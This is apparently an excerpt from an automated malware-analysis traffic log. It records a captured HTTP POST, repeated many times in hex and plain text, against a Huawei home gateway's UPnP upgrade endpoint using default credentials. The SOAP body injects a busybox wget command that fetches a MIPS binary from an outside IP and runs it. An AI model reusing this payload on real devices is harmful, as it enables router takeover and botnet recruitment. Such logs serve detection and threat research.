6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
